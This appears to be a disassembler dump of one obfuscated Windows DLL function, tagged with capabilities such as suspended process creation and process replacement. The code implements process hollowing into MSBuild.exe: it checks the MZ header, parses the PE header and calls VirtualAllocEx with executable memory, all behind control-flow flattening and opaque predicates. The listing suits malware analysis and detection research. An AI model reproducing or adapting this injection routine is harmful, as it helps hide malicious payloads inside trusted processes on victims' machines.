Function at 0x10003270
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x114
mov eax, dword [0x1006a800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0xe696ba42
sub edx, 1
add edx, 0xe696ba42
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x116], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x115], al
mov dword [ebp - 0x11c], 0xa83b3dab
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
sub eax, 0x8019fcd8
je 0x10009c0f
jmp 0x100032eb
mov eax, dword [ebp - 0x120]
sub eax, 0x807d4957
je 0x10005d09
jmp 0x10003301
mov eax, dword [ebp - 0x120]
sub eax, 0x83826fd2
je 0x1000763b
jmp 0x10003317
mov eax, dword [ebp - 0x120]
sub eax, 0x848be3d7
je 0x10007803
jmp 0x1000332d
mov eax, dword [ebp - 0x120]
sub eax, 0x8613b8fd
je 0x10009828
jmp 0x10003343
mov eax, dword [ebp - 0x120]
sub eax, 0x8653f531
je 0x10006019
jmp 0x10003359
mov eax, dword [ebp - 0x120]
sub eax, 0x865948a5
je 0x10009b10
jmp 0x1000336f
mov eax, dword [ebp - 0x120]
sub eax, 0x8693db03
je 0x1000ad55
jmp 0x10003385
mov eax, dword [ebp - 0x120]
sub eax, 0x86e8640c
je 0x1000918e
jmp 0x1000339b
mov eax, dword [ebp - 0x120]
sub eax, 0x8704d263
je 0x1000b59d
jmp 0x100033b1
mov eax, dword [ebp - 0x120]
sub eax, 0x87ae1d86
je 0x10005f3a
jmp 0x100033c7
mov eax, dword [ebp - 0x120]
sub eax, 0x8aa731a1
je 0x10006cd9
jmp 0x100033dd
mov eax, dword [ebp - 0x120]
sub eax, 0x8bcd9b73
je 0x10008089
jmp 0x100033f3
mov eax, dword [ebp - 0x120]
sub eax, 0x8c55d1ee
je 0x1000839e
jmp 0x10003409
mov eax, dword [ebp - 0x120]
sub eax, 0x8c695667
je 0x1000a425
jmp 0x1000341f
mov eax, dword [ebp - 0x120]
sub eax, 0x8e4aecf8
je 0x10008889
jmp 0x10003435
mov eax, dword [ebp - 0x120]
sub eax, 0x8f2c00a7
je 0x100084a4
jmp 0x1000344b
mov eax, dword [ebp - 0x120]
sub eax, 0x8f75ab97
je 0x10009b39
jmp 0x10003461
mov eax, dword [ebp - 0x120]
sub eax, 0x8f9e297b
je 0x10007434
jmp 0x10003477
mov eax, dword [ebp - 0x120]
sub eax, 0x8ff21684
je 0x100088c7
jmp 0x1000348d
mov eax, dword [ebp - 0x120]
sub eax, 0x900412fa
je 0x10007709
jmp 0x100034a3
mov eax, dword [ebp - 0x120]
sub eax, 0x904d5ec1
je 0x1000acc1
jmp 0x100034b9
mov eax, dword [ebp - 0x120]
sub eax, 0x90b02240
je 0x1000b58e
jmp 0x100034cf
mov eax, dword [ebp - 0x120]
sub eax, 0x90f11f4f
je 0x1000adcb
jmp 0x100034e5
mov eax, dword [ebp - 0x120]
sub eax, 0x9149efb7
je 0x10009064
jmp 0x100034fb
mov eax, dword [ebp - 0x120]
sub eax, 0x916bf543
je 0x1000b921
jmp 0x10003511
mov eax, dword [ebp - 0x120]
sub eax, 0x92437ac6
je 0x10009611
jmp 0x10003527
mov eax, dword [ebp - 0x120]
sub eax, 0x92f91a2e
je 0x100098fd
jmp 0x1000353d
mov eax, dword [ebp - 0x120]
sub eax, 0x93049e81
je 0x10008efc
jmp 0x10003553
mov eax, dword [ebp - 0x120]
sub eax, 0x935269d7
je 0x1000ac53
jmp 0x10003569
mov eax, dword [ebp - 0x120]
sub eax, 0x9359d0c5
je 0x100081db
jmp 0x1000357f
mov eax, dword [ebp - 0x120]
sub eax, 0x937f6ce5
je 0x1000a685
jmp 0x10003595
mov eax, dword [ebp - 0x120]
sub eax, 0x93dea37e
je 0x10008956
jmp 0x100035ab
mov eax, dword [ebp - 0x120]
sub eax, 0x94093c57
je 0x10008f3e
jmp 0x100035c1
mov eax, dword [ebp - 0x120]
sub eax, 0x94212e88
je 0x100084f4
jmp 0x100035d7
mov eax, dword [ebp - 0x120]
sub eax, 0x942ce195
je 0x10009f5b
jmp 0x100035ed
mov eax, dword [ebp - 0x120]
sub eax, 0x94579579
je 0x10006968
jmp 0x10003603
mov eax, dword [ebp - 0x120]
sub eax, 0x954b5f4a
je 0x1000962e
jmp 0x10003619
mov eax, dword [ebp - 0x120]
sub eax, 0x95be7a57
je 0x100072dc
jmp 0x1000362f
mov eax, dword [ebp - 0x120]
sub eax, 0x9680580a
je 0x10007373
jmp 0x10003645
mov eax, dword [ebp - 0x120]
sub eax, 0x97def8eb
je 0x1000ab53
jmp 0x1000365b
mov eax, dword [ebp - 0x120]
sub eax, 0x97f9794d
je 0x10006709
jmp 0x10003671
mov eax, dword [ebp - 0x120]
sub eax, 0x9a395078
je 0x10007364
jmp 0x10003687
mov eax, dword [ebp - 0x120]
sub eax, 0x9a9a6c7b
je 0x1000b912
jmp 0x1000369d
mov eax, dword [ebp - 0x120]
sub eax, 0x9b295c9f
je 0x1000ae42
jmp 0x100036b3
mov eax, dword [ebp - 0x120]
sub eax, 0x9b86c206
je 0x10008008
jmp 0x100036c9
mov eax, dword [ebp - 0x120]
sub eax, 0x9bad0919
je 0x10008d94
jmp 0x100036df
mov eax, dword [ebp - 0x120]
sub eax, 0x9c611862
je 0x100094f3
jmp 0x100036f5
mov eax, dword [ebp - 0x120]
sub eax, 0x9d7ec38f
je 0x10006ee0
jmp 0x1000370b
mov eax, dword [ebp - 0x120]
sub eax, 0x9e17c7ad
je 0x10007a92
jmp 0x10003721
mov eax, dword [ebp - 0x120]
sub eax, 0x9e369c89
je 0x1000728b
jmp 0x10003737
mov eax, dword [ebp - 0x120]
sub eax, 0x9e91072c
je 0x1000ba9b
jmp 0x1000374d
mov eax, dword [ebp - 0x120]
sub eax, 0x9ec9f467
je 0x100086d9
jmp 0x10003763
mov eax, dword [ebp - 0x120]
sub eax, 0x9edcceb4
je 0x10005dde
jmp 0x10003779
mov eax, dword [ebp - 0x120]
sub eax, 0x9f14fddb
je 0x10008b8b
jmp 0x1000378f
mov eax, dword [ebp - 0x120]
sub eax, 0x9f20056c
je 0x1000945c
jmp 0x100037a5
mov eax, dword [ebp - 0x120]
sub eax, 0x9f3fa0e6
je 0x10006c77
jmp 0x100037bb
mov eax, dword [ebp - 0x120]
sub eax, 0xa0397516
je 0x10006df8
jmp 0x100037d1
mov eax, dword [ebp - 0x120]
sub eax, 0xa09379b6
je 0x10007c82
jmp 0x100037e7
mov eax, dword [ebp - 0x120]
sub eax, 0xa15efb58
je 0x1000b8a0
jmp 0x100037fd
mov eax, dword [ebp - 0x120]
sub eax, 0xa319da37
je 0x1000b951
jmp 0x10003813
mov eax, dword [ebp - 0x120]
sub eax, 0xa361e5a5
je 0x10006f0c
jmp 0x10003829
mov eax, dword [ebp - 0x120]
sub eax, 0xa3d73b7c
je 0x1000b681
jmp 0x1000383f
mov eax, dword [ebp - 0x120]
sub eax, 0xa428ed73
je 0x1000a11e
jmp 0x10003855
mov eax, dword [ebp - 0x120]
sub eax, 0xa4743aa8
je 0x100074dd
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10019390]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x48057b31
jmp 0x1000bcc6
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10019248]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10019244]
movss dword [eax], xmm0
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xf43b61a6
mov ecx, 0x1f0aaacd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0xf7e26487
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x16069135
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0xbd020cb3
jmp 0x1000bcc6
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10019364]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10019360]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xda4a8a20
jmp 0x1000bcc6
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10019358]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10019354]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10019350]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x42df6bfb
jmp 0x1000bcc6
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
add edx, 0x44f308c5
sub edx, 1
sub edx, 0x44f308c5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xf7822be9
mov ecx, 0xf6d2d152
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x16ef1644
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x48c877c5
jmp 0x1000bcc6
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001934c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10019348]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x3ab12e34
jmp 0x1000bcc6
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0xa6fd9bf5
sub edx, 1
sub edx, 0xa6fd9bf5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa3d73b7c
mov ecx, 0x95be7a57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10019204]
movss dword [eax], xmm0
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0xbc697dc3
sub edx, 1
add edx, 0xbc697dc3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa3d73b7c
mov ecx, 0x9a395078
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x9680580a
jmp 0x1000bcc6
mov dl, 1
mov eax, 0x6aa12d5a
mov ecx, 0xf8579b94
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001931c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10019318]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x5747aa36
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x62ae3236
jmp 0x1000bcc6
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0x321701b8
sub edx, 1
sub edx, 0x321701b8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbdbfb015
mov ecx, 0xc454119e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0xc6d082cc
jmp 0x1000bcc6
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x100191f0]
movss dword [eax], xmm0
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x15319d3b
sub edx, 1
add edx, 0x15319d3b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x66ba0706
mov ecx, 0x4c8c3c7b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x5d6cb0ae
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x252786eb
jmp 0x1000bcc6
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
add edx, 0xeb6e8df2
sub edx, 1
sub edx, 0xeb6e8df2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xeece6e1d
mov ecx, 0x79204131
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100192ec]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x561ed8cd
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x59416673
jmp 0x1000bcc6
mov dl, 1
mov eax, 0x7eb95c99
mov ecx, 0x6146fb89
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa15efb58
mov ecx, 0x429c1e3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100192dc]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x3230ba6a
mov ecx, 0x11b708da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100192c4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xdc6628c
jmp 0x1000bcc6
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100192c0]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xfe605426
jmp 0x1000bcc6
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100191bc]
movss dword [eax], xmm0
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0x32cd52a5
sub edx, 1
add edx, 0x32cd52a5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb82ba011
mov ecx, 0xbd347650
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0x88ba849e
sub edx, 1
add edx, 0x88ba849e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x916bf543
mov ecx, 0xac465469
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0xcb60d29
sub edx, 1
add edx, 0xcb60d29
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa319da37
mov ecx, 0xdb88bf38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019290]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xe9ae6c8
jmp 0x1000bcc6
mov dl, 1
mov eax, 0x9149efb7
mov ecx, 0xe53b9dd3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019288]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x3019a02
jmp 0x1000bcc6
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019284]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x5a05ae37
jmp 0x1000bcc6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191a0]
movss dword [eax], xmm0
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
add edx, 0x9dfc3757
sub edx, 1
sub edx, 0x9dfc3757
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x72f577ac
mov ecx, 0xc21d54b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001926c]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xe55caa09
jmp 0x1000bcc6
mov dl, 1
mov eax, 0x19d4e520
mov ecx, 0x954b5f4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019268]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x155ce7ee
jmp 0x1000bcc6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019260]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xa8143afb
jmp 0x1000bcc6
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x10019190]
movss dword [eax], xmm0
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x710d6bf5
mov ecx, 0x167e7e9d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
movzx edx, word [eax]
mov eax, 0xa612a839
mov ecx, 0x8f75ab97
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov eax, dword [eax + 0x3c]
add ecx, 0xdc1ab678
add ecx, eax
sub ecx, 0xdc1ab678
mov eax, dword [ebp - 0xe8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x11c], 0x7e94d8e5
jmp 0x1000bcc6
mov eax, dword [ebp - 0x94]
cmp dword [eax + 0xd0], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xdc]
mov byte [eax], cl
mov eax, dword [ebp - 0xd8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xdc]
mov dl, byte [eax]
mov eax, 0x4bc251b7
mov ecx, 0x5e8c869a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002a20
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xd4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0xe8]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xd0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd0]
cmp dword [eax], 0
sete al
and al, 1
mov byte [ebp - 0x89], al
mov dword [ebp - 0x11c], 0x2fd1649d
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0xe70356f0
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0xeae70861
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0xa28ef69
jmp 0x1000bcc6
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x11c], 0xd0624c9a
jmp 0x1000bcc6
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf5134cf8
mov ecx, 0x904d5ec1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov ecx, dword [0x1006bb28]
mov eax, dword [0x1006bb24]
mov edx, ecx
sub edx, 0x1b17fc9f
sub edx, 1
add edx, 0x1b17fc9f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf5134cf8
mov ecx, 0x31c82212
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x11c], 0xad7ecee
jmp 0x1000bcc6
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x29], al
mov eax, dword [0x1006bb28]
mov ecx, dword [0x1006bb24]
mov edx, eax
sub edx, 0xd7301c46
sub edx, 1
add edx, 0xd7301c46
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3d575d71
mov ecx, 0x9b295c9f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov dl, byte [ebp - 0x29]
mov eax, 0x307607f1
mov ecx, 0xf61f45b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x11c], eax
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x442020bd
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x25058701
jmp 0x1000bcc6
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10019204]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0x95be7a57
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x429c1e3
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x1866f507
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0x9f14fddb
jmp 0x1000bcc6
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100191b4]
movss dword [eax], xmm0
mov dword [ebp - 0x11c], 0xdb88bf38
jmp 0x1000bcc6
mov dword [ebp - 0x11c], 0xbbd5e638
jmp 0x1000bcc6
jmp 0x100032cf